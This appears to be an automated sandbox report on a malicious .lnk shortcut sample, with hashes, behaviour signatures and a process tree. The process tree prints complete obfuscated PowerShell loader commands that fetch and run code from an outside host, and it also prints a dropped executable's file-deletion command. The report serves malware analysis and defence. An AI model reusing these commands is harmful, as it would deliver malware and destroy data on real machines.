Analysis
- max time kernel
145s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240319-en - resource tags
arch:x64arch:x86image:win10v2004-20240319-enlocale:en-usos:windows10-2004-x64system - submitted
20/03/2024, 08:29
Static task
static1
Behavioral task
behavioral1
Sample
2.2024 Outfit Strests.lnk
Resource
win7-20240221-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
2.2024 Outfit Strests.lnk
Resource
win10v2004-20240319-en
7 signatures
150 seconds
General
- Target 2.2024 Outfit Strests.lnk
- Size 3.0MB
- Sample240320-kdkkjacf93
- SHA256 5fb0518c2ced3e2556da039dae3cfe846cbf667ef2556c6d75b1487da75ef15f
- MD5 479b235adaa09fb5be9abb618ef56856
- SHA1 5b0c8b05c486ec66f6a53a625fcb31c1dc946fe7
- SHA512 45c761b88ea3e74aa13b578e89278bd6dddcff0f4a5d41ceea313a573525a59206c0078023a4ef492f2e0df2aba000ed1e700b8808a10161756899322d354d16
- SSDEEP 24:8wcxh4yCI4Xyl7+RIZJ2le8f75SRIZJpovgdJBxFsySP4I0Qc5jefJ4I0:8TxR4m7L8fvtuIISdlI
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 2 IoCs
flow pid Process 10 768 powershell.exe 21 3268 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\Control Panel\International\Geo\Nation cmd.exe - Executes dropped EXE 1 IoCs
pid Process 3692 svczHost.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 768 powershell.exe 768 powershell.exe 768 powershell.exe 2856 powershell.exe 2856 powershell.exe 2856 powershell.exe 3268 powershell.exe 3268 powershell.exe 3268 powershell.exe 3692 svczHost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 768 powershell.exe Token: SeDebugPrivilege 2856 powershell.exe Token: SeDebugPrivilege 3268 powershell.exe Token: SeIncreaseQuotaPrivilege 3268 powershell.exe Token: SeSecurityPrivilege 3268 powershell.exe Token: SeTakeOwnershipPrivilege 3268 powershell.exe Token: SeLoadDriverPrivilege 3268 powershell.exe Token: SeSystemProfilePrivilege 3268 powershell.exe Token: SeSystemtimePrivilege 3268 powershell.exe Token: SeProfSingleProcessPrivilege 3268 powershell.exe Token: SeIncBasePriorityPrivilege 3268 powershell.exe Token: SeCreatePagefilePrivilege 3268 powershell.exe Token: SeBackupPrivilege 3268 powershell.exe Token: SeRestorePrivilege 3268 powershell.exe Token: SeShutdownPrivilege 3268 powershell.exe Token: SeDebugPrivilege 3268 powershell.exe Token: SeSystemEnvironmentPrivilege 3268 powershell.exe Token: SeRemoteShutdownPrivilege 3268 powershell.exe Token: SeUndockPrivilege 3268 powershell.exe Token: SeManageVolumePrivilege 3268 powershell.exe Token: 33 3268 powershell.exe Token: 34 3268 powershell.exe Token: 35 3268 powershell.exe Token: 36 3268 powershell.exe Token: SeIncreaseQuotaPrivilege 3268 powershell.exe Token: SeSecurityPrivilege 3268 powershell.exe Token: SeTakeOwnershipPrivilege 3268 powershell.exe Token: SeLoadDriverPrivilege 3268 powershell.exe Token: SeSystemProfilePrivilege 3268 powershell.exe Token: SeSystemtimePrivilege 3268 powershell.exe Token: SeProfSingleProcessPrivilege 3268 powershell.exe Token: SeIncBasePriorityPrivilege 3268 powershell.exe Token: SeCreatePagefilePrivilege 3268 powershell.exe Token: SeBackupPrivilege 3268 powershell.exe Token: SeRestorePrivilege 3268 powershell.exe Token: SeShutdownPrivilege 3268 powershell.exe Token: SeDebugPrivilege 3268 powershell.exe Token: SeSystemEnvironmentPrivilege 3268 powershell.exe Token: SeRemoteShutdownPrivilege 3268 powershell.exe Token: SeUndockPrivilege 3268 powershell.exe Token: SeManageVolumePrivilege 3268 powershell.exe Token: 33 3268 powershell.exe Token: 34 3268 powershell.exe Token: 35 3268 powershell.exe Token: 36 3268 powershell.exe Token: SeIncreaseQuotaPrivilege 3268 powershell.exe Token: SeSecurityPrivilege 3268 powershell.exe Token: SeTakeOwnershipPrivilege 3268 powershell.exe Token: SeLoadDriverPrivilege 3268 powershell.exe Token: SeSystemProfilePrivilege 3268 powershell.exe Token: SeSystemtimePrivilege 3268 powershell.exe Token: SeProfSingleProcessPrivilege 3268 powershell.exe Token: SeIncBasePriorityPrivilege 3268 powershell.exe Token: SeCreatePagefilePrivilege 3268 powershell.exe Token: SeBackupPrivilege 3268 powershell.exe Token: SeRestorePrivilege 3268 powershell.exe Token: SeShutdownPrivilege 3268 powershell.exe Token: SeDebugPrivilege 3268 powershell.exe Token: SeSystemEnvironmentPrivilege 3268 powershell.exe Token: SeRemoteShutdownPrivilege 3268 powershell.exe Token: SeUndockPrivilege 3268 powershell.exe Token: SeManageVolumePrivilege 3268 powershell.exe Token: 33 3268 powershell.exe Token: 34 3268 powershell.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 3256 wrote to memory of 5020 3256 cmd.exe 94 PID 3256 wrote to memory of 5020 3256 cmd.exe 94 PID 5020 wrote to memory of 768 5020 cmd.exe 95 PID 5020 wrote to memory of 768 5020 cmd.exe 95 PID 768 wrote to memory of 2856 768 powershell.exe 100 PID 768 wrote to memory of 2856 768 powershell.exe 100 PID 768 wrote to memory of 1588 768 powershell.exe 102 PID 768 wrote to memory of 1588 768 powershell.exe 102 PID 1588 wrote to memory of 3268 1588 cmd.exe 104 PID 1588 wrote to memory of 3268 1588 cmd.exe 104 PID 3692 wrote to memory of 4120 3692 svczHost.exe 110 PID 3692 wrote to memory of 4120 3692 svczHost.exe 110
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\2.2024 Outfit Strests.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3256 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /c start /min "" p^o^w^ershell.ex^e -W^i^n^d^owSt^yle h^id^de^n -No^Lo^go -N^o^Pro^f^i^l^e -Exec^ut^i^o^nP^oli^c^y by^p^ass -C^omm^a^n^d "$qcljngg=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JGNvbnRlbnQgPSBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICdodHRwOi8vZml4dGVzdDEyMy51ay9hcGk='));$htweub=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('L2ZpbGVkYXRhL3BzLzA4ZjJhOWRkMmY1NDY0ODNiMzFhNzY0MTA4ODM4YWFhJyAtVXNlQmFzaWNQYXJzaW5nO0ludm9rZS1FeHByZXNzaW9uICRjb250ZW50LmNvbnRlbnQ7'));Invoke-Expression ($qcljngg + $htweub)"2⤵
- Suspicious use of WriteProcessMemory
PID:5020 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -Command "$qcljngg=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JGNvbnRlbnQgPSBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICdodHRwOi8vZml4dGVzdDEyMy51ay9hcGk='));$htweub=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('L2ZpbGVkYXRhL3BzLzA4ZjJhOWRkMmY1NDY0ODNiMzFhNzY0MTA4ODM4YWFhJyAtVXNlQmFzaWNQYXJzaW5nO0ludm9rZS1FeHByZXNzaW9uICRjb250ZW50LmNvbnRlbnQ7'));Invoke-Expression ($qcljngg + $htweub)"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:768 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2856
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JABqAGMAYgBnAGcAaQBlAGYAcQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAZABIAEEANgBMAHkAOQBtAGEAWABoADAAWgBYAE4AMABNAFQASQB6AEwAbgBWAHIATAAyAEYAdwBhAFMAOQBtAGEAVwB4AGwAWgBHAEYAMABZAFMAOQB3AGMAeQA4AHoAWgBUAGQAaQBZAFQATgBpAE0AVABsAGwATgB6AEEAMABOAEcAUgBtAE4AVABkAGsAWgBXAEkAMQBZAGoAWQAxAE0ARABrAHgATgB6AFEANQBOAGcAPQA9ACIAKQApADsACgAkAGoAcwBuAGcAeAA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFEAPQAiACkAKQA7AAoAJAB1AHIAaQAgAD0AIAAoACQAagBzAG4AZwB4ACAAKwAgACQAagBjAGIAZwBnAGkAZQBmAHEAKQA7AAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADsACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAAoAewAKAAkACgAJAHQAcgB5AHsACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AAoACQAJAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBvAG4AdABlAG4AdAAuAGMAbwBuAHQAZQBuAHQAOwAKAAkACQBiAHIAZQBhAGsAOwAKAAkAfQAKAAkAYwBhAHQAYwBoAAoACQB7AAoACQAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsACgAJAH0ACgB9AAoA4⤵
- Suspicious use of WriteProcessMemory
PID:1588 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JABqAGMAYgBnAGcAaQBlAGYAcQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAZABIAEEANgBMAHkAOQBtAGEAWABoADAAWgBYAE4AMABNAFQASQB6AEwAbgBWAHIATAAyAEYAdwBhAFMAOQBtAGEAVwB4AGwAWgBHAEYAMABZAFMAOQB3AGMAeQA4AHoAWgBUAGQAaQBZAFQATgBpAE0AVABsAGwATgB6AEEAMABOAEcAUgBtAE4AVABkAGsAWgBXAEkAMQBZAGoAWQAxAE0ARABrAHgATgB6AFEANQBOAGcAPQA9ACIAKQApADsACgAkAGoAcwBuAGcAeAA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFEAPQAiACkAKQA7AAoAJAB1AHIAaQAgAD0AIAAoACQAagBzAG4AZwB4ACAAKwAgACQAagBjAGIAZwBnAGkAZQBmAHEAKQA7AAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADsACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAAoAewAKAAkACgAJAHQAcgB5AHsACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AAoACQAJAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBvAG4AdABlAG4AdAAuAGMAbwBuAHQAZQBuAHQAOwAKAAkACQBiAHIAZQBhAGsAOwAKAAkAfQAKAAkAYwBhAHQAYwBoAAoACQB7AAoACQAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsACgAJAH0ACgB9AAoA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3268
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C:\Windows\Temp\svczHost.exeC:\Windows\Temp\svczHost.exe khiem3 fixtest123.uk1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3692 -
C:\Windows\system32\cmd.exe"cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"2⤵PID:4120
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3760 --field-trial-handle=2264,i,1475924722205134884,16549311107360026087,262144 --variations-seed-version /prefetch:81⤵PID:32
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 f255360548176cddb8a1d0b6862819c043899603e9660731d7a266a2ae0c5dfb
- MD5 2c97eb133c698998c83a90b28ba145f0
- SHA1 c7759a0d295ec00fe4de6f3b70a73392379cd992
- SHA512 db907714ca116094aa9bc5f57eb1d3e4f6ba5c0682dc658e0c90d2be81fa08443b92b97aa186d3aabcdc7f269d86d89d6091eb0bc38233f2c37e82c737e135e8
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iylfscn5.5li.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
- Size 6KB
- SHA256 1ccc427bd1da3faa7a4e7686eb0dc049c120713133269aa1d042a18551a0370c
- MD5 8fd4fdf3f2561923b2c884a33f67a318
- SHA1 88f7a94bd7429ff9e65d1d4f41843244f893a77f
- SHA512 a64a7e5db4989a44dd1d50447607218372e3ea9e76489ddca13c2e3739a0ab157694d16dd8e53f99c167a190be56c3f7ae5ec6b6a20e2d38ee31cd718c85d3e0
- SSDEEP 96:rlfALhLnFCvpQa6FukvhkvCCtCRsnSdsN6QHmJqxsnSdsN6QHmJmG:hfALhzepscCSnasw+ynaswCG
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
- Size 6KB
- SHA256 00351ceee807c7d1ecd0e82a23581b1f0b68abb666efc1f8798fc807ba3d9a2d
- MD5 2f04764ef43dd471d76d2eea3064c499
- SHA1 16a7fde27e61853fd01fac8570b9f83eec22cc56
- SHA512 a9b64fce50dfc99b01e29721097d94093d7f3f5aaf6bcbb226b30bbee2167f0d1b057c2e638cfcee0e62a7e00a67e4e1145c264db2a400e3f0a71337c07ac099
- SSDEEP 96:94ShcCmDa6FukvhkvCCtCRsnSdsN6QHmJqxsnSdsN6QHmJmG:94ShSJcCSnasw+ynaswCG
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Temp\svczHost.exe
- Size 1.1MB
- SHA256 5e5ce0586a650c9eb61ad962b826f0f945423c22fd0fc95913b181fd03eeb2d1
- MD5 0f532133048edc13a91c9c05374d008b
- SHA1 b6a3faf1534d09792950971c02494d9720ad7e05
- SHA512 ac61d99f980b8ea43911823f92d0e0e77b46a4a84310f01f04f22445afb540738a2bb9e754858ac4e0a427acc7d2bc2dc91c5d570d70dc86a2927c4b91a8fe2a
- SSDEEP 12288:i1kwQ3yzMaz9JMHmMq/hESVuOtDUhWaAeSvUCeViDnOl+DNTZ9Fk5U+QyhirXRI1:8cizMaz9Svm3c8siDOl+DN1vk5U6UIvt
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Temp\svczHost.exe
- Size 10.3MB
- SHA256 6984cf4fce9732a3369b627d5eb89c5303add15679fdccb0fb11c6ea48c3bc80
- MD5 2d9d6924fcdb44d6de3798bbd27c9d26
- SHA1 a80ebc25daefad8d7257a0481f533d221b6af998
- SHA512 e900334832630b1eb5ccc822d90db898844d2fe1cc46b07ceb248a04339dd17386fe404d7cc28f9e07604c9cf7f0cda455d64ceeb3685297a965d7d50c4c4550
- SSDEEP 98304:Oo/tNl5lp+RTTpqenc5ZYlPI3bWBmn3P4MOG0MWr4K:PlNl5L+RTtqenc5ZePI3bWE+G0b
- MD5 SHA1 SHA512 SSDEEP